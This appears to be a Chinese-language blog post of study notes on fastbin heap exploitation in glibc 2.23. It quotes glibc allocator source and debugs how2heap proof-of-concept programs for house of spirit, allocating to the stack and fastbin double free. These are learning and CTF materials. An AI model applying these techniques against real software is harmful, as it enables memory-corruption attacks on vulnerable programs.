fastbin attack学习小结
阅读原文时间:2023年07月09日阅读:1

fastbin attack学习小结

    之前留在本地的一篇笔记,复习一下。

  下面以glibc2.23为例,说明fastbin管理动态内存的细节。先看一下释放内存的管理:

__if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) // 检查chunk大小是否大于max_fast的大小,如果是,则chunk进入Fastbins进行处理__
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)

#endif
) {

if (\_\_builtin\_expect (chunk\_at\_offset (p, size)->size <= 2 \* SIZE\_SZ, 0)  
|| \_\_builtin\_expect (chunksize (chunk\_at\_offset (p, size))  
             >= av->system\_mem, 0))  

  /* chunk_at_offset将p+size这段内存强制看成一个chunk结构体,这里对fastbin中chunk的大小做出了限制,分配的最小的chunk不能小于2*SIZE,分配的最大的chunk不能大于av->system_mem */
{
/* We might not have a lock at this point and concurrent modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock
|| ({ assert (locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset (p, size)->size <= 2 * SIZE_SZ || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
if (! have_lock)
{
(void)mutex_unlock(&av->mutex);
locked = 0;
}
}
    // 这一段代码表示对下一个chunk的size进行检查
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

set\_fastchunks(av);  
unsigned int idx = fastbin\_index(size);      // 根据chunk的大小,选择对应的Fastbin的idx  
fb = &fastbin (av, idx);    // 

/\* Atomically link P to its fastbin: P->FD = \*FB; \*FB = P;  \*/  
mchunkptr old = \*fb, old2;  
unsigned int old\_idx = ~0u;  
do  
  {  
/\* Check that the top of the bin is not the record we are going to add  
   (i.e., double free).  \*/  
if (\_\_builtin\_expect (old == p, 0))  
  {  

  // 如果连续两次释放的是同一块地址的内存,会报double free的错误
errstr = "double free or corruption (fasttop)";
goto errout;
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
deallocated. See use of OLD_IDX below for the actual check. */
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

if (have\_lock && old != NULL && \_\_builtin\_expect (old\_idx != idx, 0))  
  {  
errstr = "invalid fastbin entry (free)";  
goto errout;  
  }  

}__

   可以看出,glibc2.23对于double free的管理非常地松散,如果连续释放相同chunk的时候,会报错,但是如果隔块释放的话,就没有问题。在glvibc2.27及以后的glibc版本中,加入了tcache机制,加强了对use after free的检测,所以glibc2.23中针对fastbin的uaf在glibc2.27以后,就失效了。

  glibc2.23中对fastbin申请chunk的操作如下:

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb);   // 获取fastbin的index mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp = *fb; do { victim = pp; if (victim == NULL) break; } while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{
    // 检查链表的size是否合法
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{        
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

   fastbin中检查机制比较少,而且fastbin作为单链表结构,同一链表中的元素由fd指针来进行维护。同时fastbin不会对size域的后三位进行检查,这导致glibc pwn中对于fastbin的利用和考察要比其它的bins中更加频繁。

  其中,最为常见的利用思路,就是把chunk块劫持到其他的数据段,比如栈中,bss段或者_hook地址处等等。通过how2heap上的几个例子来进行理解。

  house_of_spirit这种技术,通常是在别的数据段伪造一个chunk,这个chunk满足fastbin的大小,这时候,如果把这个chunk指针free掉,然后重新申请相同大小的堆块,就会把这个fake chunk申请出来。

  fake chunk的时候,需要布置fake chunk的内容来绕过一下检测:

  1.要避免double free的情况:fake chunk所指向的链表头部不能是fake chunk,上面的源码中有过展示;

  2.fake chunk的ISMMAP这个位不能为1,free时,如果是mmap分配出的chunk,会被单独处理;

  3.fake chunk的地址需要对齐(2size_t对齐);

  4.fake chunk的next chunk的大小不能等于2*SIZE_SE,同时也不能大于av->system_mem,这个从上面的源码中也可以看出。

  一般我们在看到,如果有向bss段,或者栈中有这种奇奇怪怪的输入,且输入空间比较大的时候,我们都可以考虑去伪造一个chunk。

  这里记录一下how2heap上面house_of_spirit.c的调试过程:

#include
#include

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\\n");  
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\\n");  
unsigned long long \*a;  
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake\_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)  
unsigned long long fake\_chunks\[10\] \_\_attribute\_\_ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\\n", sizeof(fake\_chunks), &fake\_chunks\[1\], &fake\_chunks\[9\]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV\_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS\_MMAPPED (second lsb) and NON\_MAIN\_ARENA (third lsb) bits cause problems.\\n");  
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n");  
fake\_chunks\[1\] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the \*next\* fake region has to be sane. That is > 2\*SIZE\_SZ (> 16 on x64) && < av->system\_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n");  
    // fake\_chunks\[9\] because 0x40 / sizeof(unsigned long long) = 8  
fake\_chunks\[9\] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n", &fake\_chunks\[1\]);  
fprintf(stderr, "... note that the memory address of the \*region\* associated with this chunk must be 16-byte aligned.\\n");  
a = &fake\_chunks\[2\];

fprintf(stderr, "Freeing the overwritten pointer.\\n");  
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n", &fake\_chunks\[1\], &fake\_chunks\[2\]);  
fprintf(stderr, "malloc(0x30): %p\\n", malloc(0x30));  

}

  第一个断点设在malloc(1)处,在64位下的最小申请的chunk最小大小是32个字节。

unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

  这里定义了一个无符号长长整型的fake_chunks的数组,并且做了一个16字节的地址对齐。以及一个无符号长长整型的指针a。

  断点下到fake_chunks[1]=0x40这里,这里就是确定了fake chunk的大小。fake chunk的大小必须落在fastbin的区间,但是next chunk的大小只需满足: > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena)即可。

  fake_chunk[9]这里伪造了next size的大小,满足条件大于2 SIZE_SE,小于system_mem。

  然后把fake_chunk的地址赋值给a,伪造完chunk块之后,就可以尝试free一下,看看会发生什么:

  可以看到,有一个不是堆上的地址进入了fastbin中(我调试的时候,系统默认的libc版本是2.27,所以这里fake chunk的地址进入了tcachebins中,但是不影响调试和调试结果,tacache主要会对double free做一个更加严格的检查)。

  这个地址,就是我们之前在栈中伪造的地址。

  然后,重新malloc,我们发现最后申请出的chunk,就是我们fake chunk的地址。

  house_of_spirit提前布置了fake_chunk,并且主动free掉了fake_chunk,来把栈上伪造的数据加入fastbin中。alloc_to_stack没有主动free栈上的伪造的chunk,而是通过修改已经free掉的chunk的fd指针,来把栈上伪造的chunk加入到fastbin中。

#include

typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
}CHUNK,*PCHUNK;

int main(void)
{
CHUNK stack_chunk;

void \*chunk1;  
void \*chunk\_a;  
void \*stack\_ptr;  
stack\_ptr=&stack\_chunk;  
printf("stack\_chunk address:%p\\n",stack\_ptr);

stack\_chunk.size=0x21;  
chunk1=malloc(0x10);  
printf("chunk1 address:%p\\n",chunk1);

free(chunk1);  
printf("chunk1 address:%p\\n",chunk1);

\*(long long\*)chunk1=&stack\_chunk;  
malloc(0x10);  
chunk\_a=malloc(0x10);  
printf("chunk\_a address:%p\\n",chunk\_a);  
return 0;  

}

  这个例子,我们调试以上代码,为了方便直接观察内存分配的布局,将关键的地址值全部打印出来,同时通过给结构体中变量赋值,省略了在栈上布置数据的过程。

  断点下在malloc(0x10)这里。可以看到,我们首先申请了一个chunk,然后释放掉,然后我们再修改chunk的fd指针为栈上伪造的chunk的地址。

  根据stack LIFO的特性,先申请一次chunk把堆上的地址分配出去,再申请一次chunk,我们就可以把我们的chunk布置到栈中。

  向我们上面直接给fd指针赋值是一种非常理想化的操作,在实际漏洞和题目中基本不会存在这种类似的利用场景。更多得需要通过uaf或者堆溢出来修改chunk的fd指针。

how2heap上的fastbin_dup_into_stack.c也是运用到alloc_to_stack这种技术,但是这里就需要用到double free的方式修改fastbin中chunk的fd指针了。调试过程记录如下:

#include
#include

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack\_var;

fprintf(stderr, "The address we want malloc() to return is %p.\\n", 8+(char \*)&stack\_var);

fprintf(stderr, "Allocating 3 buffers.\\n");  
int \*a = malloc(8);  
int \*b = malloc(8);  
int \*c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\\n", a);  
fprintf(stderr, "2nd malloc(8): %p\\n", b);  
fprintf(stderr, "3rd malloc(8): %p\\n", c);

fprintf(stderr, "Freeing the first one...\\n");  
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\\n", a, a);  
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\\n", b);  
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\\n", a);  
free(a);

fprintf(stderr, "Now the free list has \[ %p, %p, %p \]. "  
    "We'll now carry out our attack by modifying data at %p.\\n", a, b, a, a);  
unsigned long long \*d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\\n", d);  
fprintf(stderr, "2nd malloc(8): %p\\n", malloc(8));  
fprintf(stderr, "Now the free list has \[ %p \].\\n", a);  
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\\n"  
    "so now we are writing a fake free size (in this case, 0x20) to the stack,\\n"  
    "so that malloc will think there is a free chunk there and agree to\\n"  
    "return a pointer to it.\\n", a);  
stack\_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n", a);  
\*d = (unsigned long long) (((char\*)&stack\_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\\n", malloc(8));  
fprintf(stderr, "4th malloc(8): %p\\n", malloc(8));  

}

  fastbin_dup_into_stack中如果用到ubuntu 18.04的libc-2.27.so编译的话,由于tcache机制的检测,double free的问题会被检测出来,所以这里用patchelf修改了链接器和动态链接库。

  程序首先申请了三块堆块:

  fprintf(stderr, "Freeing the first one…\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\\n", a, a);  
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\\n", b);  
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\\n", a);  
free(a);

  这样释放chunk是为了绕过double free的检测。这时候可以看到,0x603000这个地址,在fastbin的链表中被添加了两次。

unsigned long long *d=malloc(8);

  这时候,申请出来的堆块实际上就是0x603000地址所在的chunk。但是,由于它被free了两次,所以它现在仍然在fastbin中,这时候,我们可以控制它的fd指针。

*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

  这时候,实际上是把栈上的地址加入fastbin链表,在之后的malloc中进行分配。为了能够顺利地把fake chunk添加到fastbin链表中,stack_var之前就被赋值为20。

  fastbin如图所示,最后第四次分配的时候,就成功将栈上的目标地址分配出来了。